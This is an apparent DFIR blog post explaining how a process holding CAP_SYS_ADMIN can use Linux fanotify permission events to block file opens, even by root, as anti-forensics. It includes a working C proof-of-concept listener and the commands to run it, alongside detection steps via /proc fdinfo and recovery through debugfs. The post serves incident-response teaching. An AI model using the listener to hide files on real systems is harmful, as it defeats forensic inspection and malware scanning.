Abusing Linux fanotify for Anti-Forensics
Executive SummaryA suspicious file does not have to be hidden to evade inspection. 2026-11-1 22:16:32 Author: dfir.ch(查看原文) 阅读量:24 收藏

Executive Summary

A suspicious file does not have to be hidden to evade inspection. On Linux, a privileged userspace process can use the fanotify API to prevent another process from opening an otherwise accessible file. Its name, ownership, timestamps, and permission bits can remain entirely unremarkable. Nevertheless, an attempt to read its contents fails with EPERM (Operation not permitted), even when the requesting process runs as root.

A tool that cannot open a file has not necessarily examined it, irrespective of whether the scan completes or reports no detections. At the same time, a malicious fanotify listener is not invisible. Active notification groups and their marks can be investigated through /proc/<pid>/fdinfo, and filesystem-level acquisition offers an alternative to opening the affected pathname.

From Filesystem Monitoring to Permission Enforcement

Linux provides several interfaces for observing filesystem activity. inotify is widely used to report changes to files and directories. fanotify, which is also used by security software, can do more: with the appropriate notification class, it can ask a userspace process to approve or reject selected filesystem operations before they complete.

The mechanism consists of three components:

  1. fanotify_init() creates a notification group and returns a file descriptor through which the listener receives events.
  2. fanotify_mark() registers the objects to monitor and the event masks of interest.
  3. For a permission event, the listener reads the event and writes a struct fanotify_response containing either FAN_ALLOW or FAN_DENY. Three permission-event types are especially relevant:
Event Operation subject to a permission decision
FAN_OPEN_PERM Opening a file or directory
FAN_ACCESS_PERM Accessing file contents, such as through a read operation
FAN_OPEN_EXEC_PERM Opening a file for execution

The kernel waits for the listener’s response before completing the corresponding operation. If the listener responds with FAN_DENY, the requesting operation fails with EPERM. The decision is independent of the access indicated by the file’s normal Unix mode bits. Running the requesting command as root does not bypass the permission event. There is an important privilege requirement. Although newer kernels permit limited, unprivileged fanotify notification groups, creating a group that can handle permission events requires CAP_SYS_ADMIN. The technique therefore assumes an attacker has already obtained substantial privileges. It is best understood as a post-compromise interference mechanism, not a way for an ordinary unprivileged process to override root.

Reproducing the Behavior

The following proof of concept deliberately has a narrow scope. It installs an inode mark on one existing test file, requests FAN_OPEN_PERM events, and denies every matching request. It does not modify the file, alter its permission bits, load a kernel module, implement persistence, or distinguish between requesting processes.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <sys/fanotify.h>
#include <unistd.h>

static volatile sig_atomic_t running = 1;

static void stop_listener(int signum)
{
    (void)signum;
    running = 0;
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        fprintf(stderr, "Usage: %s FILE\n", argv[0]);
        return 1;
    }

    struct sigaction sa = { .sa_handler = stop_listener };
    sigemptyset(&sa.sa_mask);
    if (sigaction(SIGINT, &sa, NULL) == -1 ||
        sigaction(SIGTERM, &sa, NULL) == -1) {
        perror("sigaction");
        return 1;
    }

    int fan_fd = fanotify_init(FAN_CLASS_CONTENT | FAN_CLOEXEC,
                               O_RDONLY | O_LARGEFILE);
    if (fan_fd == -1) {
        perror("fanotify_init");
        return 1;
    }

    if (fanotify_mark(fan_fd, FAN_MARK_ADD, FAN_OPEN_PERM,
                      AT_FDCWD, argv[1]) == -1) {
        perror("fanotify_mark");
        close(fan_fd);
        return 1;
    }

    printf("Denying opens for %s\n", argv[1]);
    fflush(stdout);

    union {
        char bytes[4096];
        struct fanotify_event_metadata alignment;
    } buffer;

    while (running) {
        ssize_t len = read(fan_fd, buffer.bytes, sizeof(buffer.bytes));
        if (len == -1) {
            if (errno == EINTR)
                continue;
            perror("read(fanotify)");
            break;
        }
        if (len == 0)
            break;

        struct fanotify_event_metadata *event =
            (struct fanotify_event_metadata *)buffer.bytes;

        while (FAN_EVENT_OK(event, len)) {
            if (event->vers != FANOTIFY_METADATA_VERSION) {
                fprintf(stderr, "Unsupported fanotify metadata version\n");
                running = 0;
                break;
            }

            if (event->fd >= 0) {
                if (event->mask & FAN_OPEN_PERM) {
                    struct fanotify_response response = {
                        .fd = event->fd,
                        .response = FAN_DENY
                    };

                    if (write(fan_fd, &response, sizeof(response)) !=
                        (ssize_t)sizeof(response)) {
                        perror("write(fanotify response)");
                        running = 0;
                    } else {
                        printf("Denied open requested by PID %ld\n",
                               (long)event->pid);
                        fflush(stdout);
                    }
                }
                close(event->fd);
            }
            event = FAN_EVENT_NEXT(event, len);
        }
    }

    close(fan_fd);
    return 0;
}

Save the code as fanotify_deny.c. Use a disposable Linux test system with fanotify permission support and sufficient privileges; the program requires CAP_SYS_ADMIN.

printf 'SECRET TEST CONTENT\n' > /tmp/fanotify-test.txt
gcc -Wall -Wextra -O2 fanotify_deny.c -o fanotify_deny
sudo ./fanotify_deny /tmp/fanotify-test.txt

In a second terminal, attempt to read the file:

$ cat /tmp/fanotify-test.txt
cat: /tmp/fanotify-test.txt: Operation not permitted

$ sudo cat /tmp/fanotify-test.txt
cat: /tmp/fanotify-test.txt: Operation not permitted

The listener receives an event for each attempted open and replies with FAN_DENY. The resulting error is not caused by ownership, a restrictive mode, or a filesystem permission change: it is the kernel enforcing the response from the userspace listener.

Metadata queries, by contrast, remain possible:

stat /tmp/fanotify-test.txt
ls -l /tmp/fanotify-test.txt

Neither command needs to open the file for reading its contents. The file therefore remains visible to an investigator who enumerates the directory, even though a subsequent acquisition attempt fails.

Another subtlety is that the mark is associated with the filesystem object rather than merely the spelling of its pathname. Renaming the marked file within the same mount does not, by itself, remove the mark. Conversely, terminating the listener closes the notification group, removes its marks, and allows operations previously blocked by this group to proceed. This proof of concept provides no persistence beyond the running process.

Why This Matters for Malware Scanning

Consider a compromised Linux web server with a malicious PHP file in its document root. A responder may discover the file through find, ls, or filesystem metadata but then rely on a recursive scanner to inspect its contents. If a privileged attacker-controlled process denies opens of that inode, a scanner that acquires content by opening pathnames may be unable to read the file. The potential failure mode is not necessarily a false-negative signature match. It can be a coverage failure: the scanning engine never obtains the bytes required to evaluate a signature. Depending on the tool and its error handling, the condition might appear as an explicit error, an inaccessible-file count, a skipped file, or a failed scan. A clean result is meaningful only when the collection or scanning workflow also accounts for files it could not inspect.

A simple YARA rule is sufficient to investigate this distinction in a lab:

rule Fanotify_Access_Test
{
    strings:
        $marker = "SECRET TEST CONTENT"
    condition:
        $marker
}

Save the rule as fanotify-test.yar and run the following command with the listener stopped and then again while it is active:

sudo yara fanotify-test.yar /tmp/fanotify-test.txt
printf 'Exit status: %s\n' "$?"

Record the scanner’s standard output, standard error, exit status, and the number of files successfully inspected. The current proof of concept demonstrates denied opens with cat; it does not establish YARA’s, THOR’s, or Sandfly’s behavior. Those products should be tested individually before drawing product-specific conclusions about error reporting or scan coverage.

There is also a practical limitation for an attacker. The indiscriminate denial used in this experiment would block a web server that needs to open the same PHP file. A different listener could make decisions based on the PID reported in the permission event and associated process context, allowing some consumers while rejecting others. Such selective behavior is technically possible, but it is not implemented or validated here. Applications that already have usable file descriptors introduce another important complication.

Can the File Still Be Acquired?

Yes. FAN_OPEN_PERM controls a particular operation: obtaining a new open of the marked object. It does not retroactively invalidate file descriptors that were opened before the permission mark was installed. A process holding an existing readable descriptor can continue reading through that descriptor without issuing another open of the original pathname, so this specific check is not encountered. Other permission-event types may change the outcome; the statement applies to the FAN_OPEN_PERM-only configuration above.

A second option is to read the underlying filesystem instead of opening the file through the normal pathname-based interface. For example, debugfs can interpret ext4 metadata and read the contents of an inode directly from a block device.

First, identify the file’s inode number and filesystem:

stat -c 'Inode: %i' /tmp/fanotify-test.txt
findmnt -T /tmp/fanotify-test.txt -o SOURCE,FSTYPE,TARGET

For an ext4 filesystem whose underlying device is, for example, /dev/vda1, a read-only debugfs session can address the inode directly:

sudo debugfs -R 'cat <131245>' /dev/vda1

Here, 131245 is an illustrative inode number and must be replaced with the value returned by stat. The device must likewise be replaced with the actual ext4 filesystem device. This does not open /tmp/fanotify-test.txt through the monitored pathname, so the file’s FAN_OPEN_PERM mark does not mediate that access.

This is an alternative acquisition path, not a guarantee of consistent live acquisition. On a mounted filesystem, metadata or data that has not yet been committed to disk can make raw-device reads incomplete or inconsistent. For an incident investigation, prefer a forensically sound image or consistent snapshot and perform filesystem-level recovery against that copy when feasible. debugfs is ext-family-specific; different filesystems require different acquisition methods.

Detecting an Unexpected fanotify Listener

The access-denial mechanism leaves a useful live artifact. Linux exposes information about fanotify notification groups and marks in the owning process’s /proc/<pid>/fdinfo/<fd> entries. This includes the notification-group flags and, for each mark, fields such as its inode, device, and event mask.

To identify fanotify descriptors, run the glob and search under a privileged shell so that protected /proc directories can be traversed:

sudo sh -c 'grep -l "^fanotify flags:" /proc/[0-9]*/fdinfo/* 2>/dev/null'

A matching pathname identifies the process ID and descriptor number, for example /proc/1234/fdinfo/3. Examine that descriptor and the corresponding process:

sudo grep '^fanotify ' /proc/1234/fdinfo/3
sudo ps -fp 1234
sudo readlink -f /proc/1234/exe

Look for fanotify flags: (group configuration) and fanotify ino: (individual marks). The ino value in the mark record is hexadecimal, whereas stat -c %i displays an inode number in decimal. Convert the value before comparing them:

printf 'Target inode (hex): %x\n' "$(stat -c %i /tmp/fanotify-test.txt)"

An analyst can then correlate the marked inode and device with the inaccessible file, the mask with the type of intercepted operation, and the owning PID with process lineage and execution context. Where available, process-creation telemetry or auditing around fanotify_init() and fanotify_mark() can provide additional context, although these calls are not necessarily captured by default logging configurations.

A fanotify descriptor is not inherently malicious. Antivirus engines, filesystem-monitoring services, and other legitimate software use this interface. The suspicious combination is an unexpected privileged listener, permission-event marks on files of investigative interest, and repeatable EPERM failures that cannot be explained by ordinary permissions or other controls. This evidence is transient: once the listener exits, its fanotify group and /proc descriptors disappear.

For responders, a practical sequence is to document the failures and affected paths, identify and preserve information about any active listener, and acquire the inaccessible file through an independent method. Terminating an unexplained privileged process before collecting its memory and process metadata may remove useful evidence.

Conclusion

This experiment illustrates a narrow but consequential form of Linux anti-forensics. With CAP_SYS_ADMIN, an attacker can use an ordinary kernel API to make a visible file unreadable to conventional open-based acquisition—even for a process running as root—without changing its mode bits or installing a kernel module.

It is not a universal file-hiding method. The file still appears in filesystem enumeration, the listener itself can be identified, and existing file descriptors or filesystem-level acquisition may allow recovery. Its relevance lies in the gap between discovering a file and successfully inspecting its contents.

For incident responders, the operational takeaway is straightforward: treat unexplained access failures as evidence to investigate, and distinguish a successful scan from a scan that successfully covered all intended files. Root privileges alone do not guarantee that every ordinary file-open operation will succeed on a compromised system.

References


文章来源: https://dfir.ch/posts/infoguard_labs_fanotify_rewritten/
如有侵权请联系:admin#unsafe.sh